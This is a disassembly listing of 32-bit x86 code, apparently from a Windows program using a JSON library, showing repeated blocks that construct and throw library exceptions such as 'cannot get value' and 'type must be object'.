mov byte [ebp - 4], 0x39
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x2778]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x2778]
push 0x57761c
push eax
call fcn.004351eb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x47
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x2468]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x2468]
push 0x57761c
push eax
call fcn.004351eb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x5b
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x24f4]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x24f4]
push 0x57761c
push eax
call fcn.004351eb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x6f
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x259c]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x259c]
push 0x57761c
push eax
call fcn.004351eb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x77
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x25b8]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x25b8]
push 0x57761c
push eax
call fcn.004351eb
push str.cannot_compare_iterators_of_different_containers
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd4
lea ecx, [ebp - 0x2698]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x2698]
push 0x57761c
push eax
call fcn.004351eb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x2708]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x2708]
push 0x57761c
push eax
call fcn.004351eb
push str.cannot_compare_iterators_of_different_containers
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x2a
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd4
lea ecx, [ebp - 0x2724]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x2724]
push 0x57761c
push eax
call fcn.004351eb
push str.cannot_compare_iterators_of_different_containers
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x28
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd4
lea ecx, [ebp - 0x2740]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x2740]
push 0x57761c
push eax
call fcn.004351eb
mov ecx, edi
call fcn.004181e0
push eax
lea ecx, [ebp - 0x28bc]
call fcn.00402cf0
mov byte [ebp - 4], 0x3c
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x28a4]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x3d
mov edx, 0x131
push eax
lea ecx, [ebp - 0x2794]
call fcn.00407cf0
add esp, 4
lea eax, [ebp - 0x2794]
push 0x5776e0
push eax
call fcn.004351eb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x38
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x27b0]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x27b0]
push 0x57761c
push eax
call fcn.004351eb
push str.cannot_compare_iterators_of_different_containers
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x37
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd4
lea ecx, [ebp - 0x27cc]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x27cc]
push 0x57761c
push eax
call fcn.004351eb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x26d0]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x26d0]
push 0x57761c
push eax
call fcn.004351eb
push str.cannot_compare_iterators_of_different_containers
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x33
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd4
lea ecx, [ebp - 0x244c]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x244c]
push 0x57761c
push eax
call fcn.004351eb
mov ecx, edi
call fcn.004181e0
push eax
lea ecx, [ebp - 0x2874]
call fcn.00402cf0
mov byte [ebp - 4], 0x4d
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x285c]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x4e
mov edx, 0x131
push eax
lea ecx, [ebp - 0x2484]
call fcn.00407cf0
add esp, 4
lea eax, [ebp - 0x2484]
push 0x5776e0
push eax
call fcn.004351eb
mov ecx, edi
call fcn.004181e0
push eax
lea ecx, [ebp - 0x2844]
call fcn.00402cf0
mov byte [ebp - 4], 0x4a
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x282c]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x4b
mov edx, 0x131
push eax
lea ecx, [ebp - 0x24a0]
call fcn.00407cf0
add esp, 4
lea eax, [ebp - 0x24a0]
push 0x5776e0
push eax
call fcn.004351eb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x46
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x24bc]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x24bc]
push 0x57761c
push eax
call fcn.004351eb
push str.cannot_compare_iterators_of_different_containers
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x45
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd4
lea ecx, [ebp - 0x24d8]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x24d8]
push 0x57761c
push eax
call fcn.004351eb
mov ecx, esi
call fcn.004181e0
push eax
lea ecx, [ebp - 0x2814]
call fcn.00402cf0
mov byte [ebp - 4], 0x61
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x27fc]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x62
mov edx, 0x131
push eax
lea ecx, [ebp - 0x2510]
call fcn.00407cf0
add esp, 4
lea eax, [ebp - 0x2510]
push 0x5776e0
push eax
call fcn.004351eb
call fcn.00438c60
call fcn.00402b50
call fcn.00403330
mov ecx, esi
call fcn.004181e0
push eax
lea ecx, [ebp - 0x27e4]
call fcn.00402cf0
mov byte [ebp - 4], 0x5e
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x29ac]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x5f
mov edx, 0x131
push eax
lea ecx, [ebp - 0x252c]
call fcn.00407cf0
add esp, 4
lea eax, [ebp - 0x252c]
push 0x5776e0
push eax
call fcn.004351eb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x5a
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x2548]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x2548]
push 0x57761c
push eax
call fcn.004351eb
push str.cannot_compare_iterators_of_different_containers
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x59
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd4
lea ecx, [ebp - 0x2564]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x2564]
push 0x57761c
push eax
call fcn.004351eb
lea ecx, [ebx + 0x60]
call fcn.004181e0
push eax
lea ecx, [ebp - 0x2994]
call fcn.00402cf0
mov byte [ebp - 4], 0x55
mov edx, str.type_must_be_object__but_is
push eax
lea ecx, [ebp - 0x297c]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x56
mov edx, 0x12e
push eax
lea ecx, [ebp - 0x2580]
call fcn.00407cf0
add esp, 4
lea eax, [ebp - 0x2580]
push 0x5776e0
push eax
call fcn.004351eb
mov ecx, esi
call fcn.004181e0
push eax
lea ecx, [ebp - 0x28ec]
call fcn.00402cf0
mov byte [ebp - 4], 0x7d
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x294c]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x7e
mov edx, 0x131
push eax
lea ecx, [ebp - 0x25d4]
call fcn.00407cf0
add esp, 4
lea eax, [ebp - 0x25d4]
push 0x5776e0
push eax
call fcn.004351eb
call fcn.00402c60
mov ecx, esi
call fcn.004181e0
push eax
lea ecx, [ebp - 0x2904]
call fcn.00402cf0
mov byte [ebp - 4], 0x7a
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x291c]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x7b
mov edx, 0x131
push eax
lea ecx, [ebp - 0x25f0]
call fcn.00407cf0
add esp, 4
lea eax, [ebp - 0x25f0]
push 0x5776e0
push eax
call fcn.004351eb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x76
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x260c]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x260c]
push 0x57761c
push eax
call fcn.004351eb
push str.cannot_compare_iterators_of_different_containers
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x75
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd4
lea ecx, [ebp - 0x26b4]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x26b4]
push 0x57761c
push eax
call fcn.004351eb
mov ecx, esi
call fcn.004181e0
push eax
lea ecx, [ebp - 0x2934]
call fcn.00402cf0
mov byte [ebp - 4], 0x71
mov edx, str.type_must_be_object__but_is
push eax
lea ecx, [ebp - 0x2964]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x72
mov edx, 0x12e
push eax
lea ecx, [ebp - 0x2628]
call fcn.00407cf0
add esp, 4
lea eax, [ebp - 0x2628]
push 0x5776e0
push eax
call fcn.004351eb
push str.cannot_get_value
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x6e
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd6
lea ecx, [ebp - 0x2644]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x2644]
push 0x57761c
push eax
call fcn.004351eb
push str.cannot_compare_iterators_of_different_containers
lea ecx, [ebp - 0x44]
call fcn.00402cf0
mov byte [ebp - 4], 0x6d
lea eax, [ebp - 0x44]
push eax
mov edx, 0xd4
lea ecx, [ebp - 0x2660]
call fcn.00407b10
add esp, 4
lea eax, [ebp - 0x2660]
push 0x57761c
push eax
call fcn.004351eb
lea ecx, [ebx + 0x70]
call fcn.004181e0
push eax
lea ecx, [ebp - 0x288c]
call fcn.00402cf0
mov byte [ebp - 4], 0x69
mov edx, str.type_must_be_object__but_is
push eax
lea ecx, [ebp - 0x28d4]
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x6a
mov edx, 0x12e
push eax
lea ecx, [ebp - 0x267c]
call fcn.00407cf0
add esp, 4
lea eax, [ebp - 0x267c]
push 0x5776e0
push eax
call fcn.004351eb
int3